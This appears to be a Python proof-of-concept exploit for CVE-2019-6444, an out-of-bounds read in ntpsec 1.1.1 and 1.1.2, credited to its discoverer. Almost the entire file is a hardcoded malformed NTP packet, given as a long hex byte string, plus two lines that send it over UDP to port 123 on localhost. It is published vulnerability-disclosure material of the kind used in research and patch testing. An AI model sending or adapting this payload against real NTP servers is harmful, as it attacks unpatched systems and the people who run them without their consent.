56 lines
No EOL
3.4 KiB
Python
Executable file
56 lines
No EOL
3.4 KiB
Python
Executable file
#!/usr/bin/env python
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# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
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# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
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# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
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# Website: https://dumpco.re/bugs/ntpsec-oobread2
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# Vendor Homepage: https://ntpsec.org/
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# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz
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# Affected versions: ntpsec 1.1.1, 1.1.2
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# CVE: CVE-2019-6444
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# Note: this PoC does not crash the target
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import sys
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import socket
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buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" +
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"\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" +
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"\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" +
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"\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" +
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"\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" +
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"\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
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"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" +
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"\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" +
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"\xd8\x80\x57\x9f")
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sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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sock.sendto(buf, ('127.0.0.1', 123)) |